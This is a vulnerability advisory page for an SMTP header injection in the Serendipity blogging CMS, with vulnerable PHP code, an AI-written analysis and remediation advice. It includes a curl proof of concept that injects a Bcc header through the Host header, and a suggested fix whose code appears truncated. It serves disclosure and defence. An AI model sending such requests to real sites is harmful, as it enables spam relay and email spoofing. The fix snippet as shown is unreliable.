Skip to main content

PHP CVE-2026-39971

HIGH
HTTP Response Splitting (CWE-113)
2026-04-14 https://github.com/s9y/Serendipity GHSA-458g-q4fh-mj6r
7.2
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

5
Re-analysis Queued
Apr 17, 2026 - 15:52 vuln.today
cvss_changed
Patch released
Apr 15, 2026 - 02:30 nvd
Patch available
Analysis Generated
Apr 15, 2026 - 01:09 vuln.today
Analysis Generated
Apr 14, 2026 - 22:46 vuln.today
CVE Published
Apr 14, 2026 - 22:32 nvd
HIGH 7.2

DescriptionGitHub Advisory

Summary

Serendipity inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without any validation beyond CRLF stripping. An attacker who can control the Host header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.

Details

In include/functions.inc.php:548:

php
$maildata['headers'][] = 'Message-ID: <'
    . bin2hex(random_bytes(16))
    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled
    . '>';

The existing sanitization function only blocks \r\n and URL-encoded variants:

php
function serendipity_isResponseClean($d) {
    return (strpos($d, "\r") === false && strpos($d, "\n") === false
        && stripos($d, "%0A") === false && stripos($d, "%0D") === false);
}

Critically, serendipity_isResponseClean() is not even called on HTTP_HOST before embedding it into the mail headers - making this exploitable with any character that SMTP interprets as a header delimiter.

Email is triggered by actions such as:

  • New comment notifications to blog owner
  • Comment subscription notifications to subscribers
  • Password reset emails (if configured)

PoC

bash
# Trigger comment notification email with injected header
curl -s -X POST \
  -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \
  -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1" \
  http://[TARGET]/comment.php

Resulting malicious Message-ID header in outgoing email:

Message-ID: <deadbeef@attacker.com>
Bcc: victim@evil.com
X-Injected: >

Impact

An attacker can control the domain portion of the Message-ID header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). This enables:

  • Identity spoofing - emails appear to originate from attacker-controlled domain
  • Reply hijacking - some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure
  • Email reputation abuse - attacker's domain embedded in legitimate mail headers

Suggested Fix

Sanitize HTTP_HOST before embedding in mail headers, and restrict to valid hostname characters only:

php
$safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '',
    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)
);
$maildata['headers'][] = 'Message-ID: ';

AnalysisAI

SMTP header injection in Serendipity CMS allows remote unauthenticated attackers to inject arbitrary email headers via malicious Host header during email-triggering operations (comments, subscriptions, password resets). The unsanitized $_SERVER['HTTP_HOST'] value is embedded directly into Message-ID headers without validation, enabling BCC injection, email spoofing, and reply hijacking. CVSS 7.2 with Changed scope indicates cross-domain impact. EPSS data not available; no public exploit identified at time of analysis, though a detailed proof-of-concept exists in the GitHub security advisory demonstrating successful header injection via comment submission.

Technical ContextAI

This vulnerability stems from CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers). Serendipity's email composition logic in include/functions.inc.php:548 constructs Message-ID headers by concatenating a random token with the raw HTTP Host header value. While the codebase includes a serendipity_isResponseClean() function to strip carriage return and line feed characters, this sanitization is never invoked on the HTTP_HOST input before header construction. The PHP mail() function interprets CRLF sequences as header delimiters in SMTP protocol, allowing attackers to break out of the Message-ID field and inject arbitrary headers. The affected package (pkg:composer/s9y_serendipity) is a widely-used blogging platform written in PHP, where email notifications are core functionality triggered by user interactions like comment submissions. The attack leverages HTTP request smuggling principles where the Host header-normally expected to contain only hostname data-becomes a vector for protocol-level injection when improperly trusted server-side.

RemediationAI

Apply the vendor-released security patch detailed in the GitHub security advisory at https://github.com/s9y/Serendipity/security/advisories/GHSA-458g-q4fh-mj6r. The recommended fix involves sanitizing the HTTP_HOST value before embedding it into email headers using a whitelist approach: extract the hostname component via parse_url(), then apply a strict regular expression (preg_replace('/[^a-zA-Z0-9.\-]/', '')) to remove all characters except alphanumerics, dots, and hyphens. This prevents CRLF injection and ensures only valid hostname syntax reaches the Message-ID header. If immediate patching is not feasible, implement a temporary workaround by configuring a static hostname for email headers in Serendipity's configuration rather than relying on the HTTP Host header, or deploy a reverse proxy/WAF rule to validate Host header format before requests reach the application. Review email logs for suspicious Message-ID patterns or unexpected BCC recipients that might indicate prior exploitation. Given the network attack vector and lack of authentication requirement, prioritize patching for internet-facing installations.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-39971 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy